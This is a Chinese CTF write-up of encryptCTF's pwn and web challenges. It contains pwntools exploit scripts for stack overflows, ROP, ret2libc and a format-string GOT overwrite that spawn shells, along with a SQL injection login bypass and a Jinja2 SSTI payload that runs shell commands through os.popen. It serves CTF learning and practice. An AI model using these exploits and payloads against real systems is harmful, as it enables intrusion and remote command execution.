本文首发于先知论坛 https://xz.aliyun.com/t/4669
周中跟着大佬们打了一场国外的CTF,题目不是很难,不过很适合新人练练手。其中我AK了pwn和web的题目,pwn题难度较低,对我这些萌新十分友好,web带点脑洞,其中两题python站的题目还是不错的,可以借此熟悉一下virtualenv
的操作和ssti
注入。
pwn pwn0 1 2 3 4 5 6 [*] '/home/kira/pwn/encryptCTF/pwn0' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl main (int argc, const char **argv, const char **envp) { char s; char s1; setvbuf(stdout , 0 , 2 , 0 ); puts ("How's the josh?" ); gets(&s); if ( !memcmp (&s1, "H!gh" , 4u ) ) { puts ("Good! here's the flag" ); print_flag(); } else { puts ("Your josh is low!\nBye!" ); } return 0 ; }
思路:只要s1
内容为H!hg
即可getflag,那么直接在输入s
的时候溢出覆盖s1
就行了。
1 2 3 4 5 6 # kira @ k1r4 in ~/pwn/encryptCTF on git:master x [14:04:34] $ nc 104.154.106.182 1234 How's the josh? H!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!gh Good! here's the flag encryptCTF{L3t5_R4!53_7h3_J05H}
pwn1 1 2 3 4 5 6 [*] '/home/kira/pwn/encryptCTF/pwn1' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { char s; setvbuf(stdout , 0 , 2 , 0 ); printf ("Tell me your name: " ); gets(&s); printf ("Hello, %s\n" , &s); return 0 ; }
思路:程序没开canary,自带getshell的后门函数,直接栈溢出覆盖ret地址即可。
1 2 3 4 from pwn import *p = remote('104.154.106.182' , 2345 ) p.sendline('a' *140 +p32(0x80484AD )) p.interactive()
pwn2 1 2 3 4 5 6 7 [*] '/home/kira/pwn/encryptCTF/pwn2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main (int argc, const char **argv, const char **envp) { char s; setvbuf(stdout , 0 , 2 , 0 ); printf ("$ " ); gets(&s); if ( !strcmp (&s, "ls" ) ) run_command_ls(); else printf ("bash: command not found: %s\n" , &s); puts ("Bye!" ); return 0 ; }
思路:题目里面自带system
,直接栈溢出组ROP。先用gets
读入/bin/sh
,然后调用system
。
1 2 3 4 5 6 7 8 9 from pwn import *elf = ELF('./pwn2' ) p = remote('104.154.106.182' , 3456 ) pr = 0x08048546 bss = 0x0804A040 payload = p32(elf.plt['gets' ])+p32(pr)+p32(bss)+p32(elf.plt['system' ])+p32(0 )+p32(bss) p.sendlineafter('$ ' ,'a' *44 +payload) p.sendline('/bin/sh\x00' ) p.interactive()
pwn3 1 2 3 4 5 6 [*] '/home/kira/pwn/encryptCTF/pwn3' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { char s; setvbuf(stdout , 0 , 2 , 0 ); puts ("I am hungry you have to feed me to win this challenge...\n" ); puts ("Now give me some sweet desert: " ); gets(&s); return 0 ; }
思路:这次程序没有system
函数,需要泄露libc地址,然后ret2libc,远程泄露gets
地址最低三位是e60
,可以查到libc版本为libc6_2.19-0ubuntu6.14_i386
。首先构造一个ROP来泄露libc地址,然后返回main
函数,这里有个坑点是第二次溢出需要填充的垃圾字符数量不一样,具体可以调试看看,然后再组一次ROP,调用system
。
1 2 3 4 5 6 7 8 9 10 from pwn import *libc = ELF('./libc6_2.19-0ubuntu6.14_i386.so' ) elf = ELF('./pwn3' ) p = remote('104.154.106.182' , 4567 ) main = 0x0804847D p.sendlineafter(': \n' ,'a' *140 +p32(elf.plt['puts' ])+p32(main)+p32(elf.got['gets' ])) libc.address = u32(p.recv(4 )) - libc.sym['gets' ] print hex(libc.address)p.sendlineafter(': \n' ,'a' *132 +p32(libc.sym['system' ])+p32(0 )+p32(libc.search('/bin/sh' ).next())) p.interactive()
pwn4 1 2 3 4 5 6 [*] '/home/kira/pwn/encryptCTF/pwn4' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main (int argc, const char **argv, const char **envp) { char s; unsigned int v5; v5 = __readgsdword(0x14 u); setvbuf(stdout , 0 , 2 , 0 ); puts ("Do you swear to use this shell with responsility by the old gods and the new?\n" ); gets(&s); printf (&s); printf ("\ni don't belive you!\n%s\n" , &s); return 0 ; }
思路:题目开了canary,不能直接进行栈溢出。有一个很明显的格式化字符串漏洞,而且程序自带一个getshell的后门,可以用格式化字符串修改printf@got.plt
为后门函数。
1 2 3 4 5 6 7 8 # kira @ k1r4 in ~/pwn/encryptCTF on git:master x [19:33:56]$ ./pwn4Do you swear to use this shell with responsility by the old gods and the new? aaaa% p.%p.%p.%p.%p.%p.%p.%p.%p.%paaaa(nil).0x2.(nil).0xffe571ce.0x1.0xc2.0x61616161.0x252e7025.0x70252e70.0x2e70252e i don't belive you! aaaa% p.%p.%p.%p.%p.%p.%p.%p.%p.%p
简单测试了一下,可以发现格式化字符的offset是7,因为程序是32位的,可以直接用pwntools
的fmtstr_payload
函数。
1 2 3 4 5 6 7 from pwn import *elf = ELF('./pwn4' ) p = remote('104.154.106.182' , 5678 ) payload = fmtstr_payload(7 ,{elf.got['printf' ]:0x0804853D }) p.sendlineafter('new?\n' ,payload) p.interactive()
web Sweeeeeet 1 2 3 4 5 Do you like sweets? http://104.154.106.182:8080 author: codacker50
在响应包头得到一个flag,但是提交提示incorrect。
1 Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D
随后在请求包的cookie里面发现一个UID=f899139df5e1059396431415e770c6dd
,查了一下为md5(100)
,于是使用burp进行0-999
md5后爆破UID
Slash Slash 题目给了一个flask站的源码,https://ctf.encryptcvs.cf/files/43338088b56bf932bed9511a18168fd9/handout_slashslash.7z
查看application.py
,发现flag应该写进环境变量,而且使用了virtualenv
设置虚拟环境,题目还提供了virtualenv
的学习视频。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import osfrom flask import Flask, render_template, jsonifyapp = Flask(__name__) ''' secret_key using python3 secrets module ''' app.secret_key = "9d367b3ba8e8654c6433379763e80c6e" ''' Learn about virtualenv here: https://www.youtube.com/watch?v=N5vscPTWKOk&list=PL-osiE80TeTt66h8cVpmbayBKlMTuS55y&index=7 ''' FLAG = os.getenv("FLAG" , "encryptCTF{}" ) @app.route('/') def index () : return render_template('index.html' ) @app.route('/encryptCTF', methods=["GET"]) def getflag () : return jsonify({ 'flag' : FLAG }) if __name__ == '__main__' : app.run(debug=False )
安装一下virtualenv
,然后运行此虚拟环境,但是发现根本没有$FLAG
。
1 2 3 4 5 # kira @ k1r4 in ~/web/handout_slashslash/app [21:08:40]$ source ./env/bin/activate(env) # kira @ k1r4 in ~/web/handout_slashslash/app [21:08:57]$ echo $FLAG
直接查看一下activate
文件,发现最后有一句被注销掉了,RkxBRwo=
解码就是FLAG
1 export $(echo RkxBRwo= | base64 -d)="ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg=="
那么直接解base64就getflag了。
1 2 3 # kira @ k1r4 in ~/web/handout_slashslash/app [21:09:01] $ echo ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg==|base64 -d encryptCTF{comments_&_indentations_makes_johnny_a_good_programmer}
当然,将此行注销去掉,然后修改一下代码为FLAG = os.getenv("FLAG")
,就可以通过访问http://127.0.0.1:5000/encryptCTF
得到flag
virtualenv
的使用教程可以参考以下链接
vault 1 2 3 4 5 i heard you are good at breaking codes, can you crack this vault? http://104.154.106.182:9090 author: codacker
打开地址后为一个登陆界面,随手试了一发万能密码username=123' or 1#&password=123' or 1#
,成功登陆,返回一个二维码,扫描后为一个YouTube地址。
猜想flag可能存在数据库,手工测试一下发现可以注入
1 2 username=123' or 1=1#&password=123 # 成功登陆 username=123' or 1=2#&password=123 # 登陆失败
直接使用sqlmap跑出管理员密码,但是登陆后仍然是那个二维码,并没有flag
1 2 3 4 5 +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | +----+----------+----------------------------------+
在数据库翻了半天,原来成功登陆的cookie就是flag,无语了。。。。
1 Set-Cookie: SESSIONID=ZW5jcnlwdENURntpX0g0dDNfaW5KM2M3aTBuNX0%3D
解码后为:
1 encryptCTF{i_H4t3_inJ3c7i0n5}
Env 1 2 3 4 5 6 7 8 Einstein said, "time was relative, right?" meme 1 https://i.imgur.com/LYS3TYi.jpg meme 2 https://i.imgur.com/FcsusMX http://104.154.106.182:6060 Author: maskofmydisguise
第一张图片里面提示了两个目录/home
和/whatsthetime/
访问http://104.154.106.182:6060/whatsthetime
提示Almost there...or are you?
。
然后访问http://104.154.106.182:6060/whatsthetime/1
,获得一个新提示
查了一下THE EPOCH TIME
是指1970年1月1日00:00:00 UTC,猜测后面的数字要为当前时间的时间戳才能出flag
1 2 3 4 5 6 import timeimport requestsurl = 'http://104.154.106.182:6060/whatsthetime/' r = requests.get(url+str(int(time.time()))) print r.content
写了一个简单的脚本尝试一下,发现不行,估计服务器时间跟我本地有误差,最近决定拿burp进行爆破,我用当前时间戳减去100,然后每次加1进行爆破,很快就出结果了,如下图所示。
repeaaaaaat 1 2 3 4 5 Can you repeaaaaaat? http://104.154.106.182:5050 author: codacker
访问链接后出现一大堆logo,查看源码发现了一串base64,<!-- d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK -->
,解码为what_are_you_searching_for
。
然后访问http://104.154.106.182:5050/what_are_you_searching_for
,又得到一串base64,解码后为一个视频链接https://www.youtube.com/watch?v=5rAOyh7YmEc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 HTTP/1.1 200 OK Server: gunicorn/19.9.0 Date: Tue, 02 Apr 2019 13:22:51 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 429 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>FLAG</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="main.css"> <script src="main.js"></script> </head> <body> <h1> aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01ckFPeWg3WW1FYwo= </h1> </body> </html>
看完这个视频的我一脸懵逼,这是什么鬼???
迷惘几分钟后,发现返回包server
字段比较陌生,Google一下Gunicorn
1 Gunicorn 'Green Unicorn' is a Python WSGI HTTP Server for UNIX. It's a pre-fork worker model. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resources, and fairly speedy.
可见这个网站是一个python站,看到python站,首先想到的是SSTI模板注入,简单测试了一下发现并没有反应
后面测试的时候发现主页下面的base64变了另外一个<!-- Lz9zZWNyZXQ9ZmxhZw== -->
,解码为:/?secret=flag
,然后再测试一下发现可行了。
拿出一个常用的payload进行测试,返现返回500错误,但至少证明是成功运行了,可能本地的环境和远程的有些微差别。
1 {{"" .__class__.__mro__[-1 ].__subclasses__()[117 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('id').read()" )}}
一段一段地进行删除测试,发现的返回结果跟本地不一样
本地测试结果
1 2 >>> "".__class__.__mro__[-1].__subclasses__()[117] <class 'os._wrap_close'>
远程返回结果
1 <class 'dict_valueiterator'>
删掉序号直接查看返回结果,发现是存在这个class的
那么修改一下payload为1 {{"" .__class__.__mro__[-1 ].__subclasses__()['os._wrap_close' ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('id').read()" )}}
可正常返回结果。
最后payload为:
1 {{"" .__class__.__mro__[-1 ].__subclasses__()['os._wrap_close' ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat+flag*').read()" )}}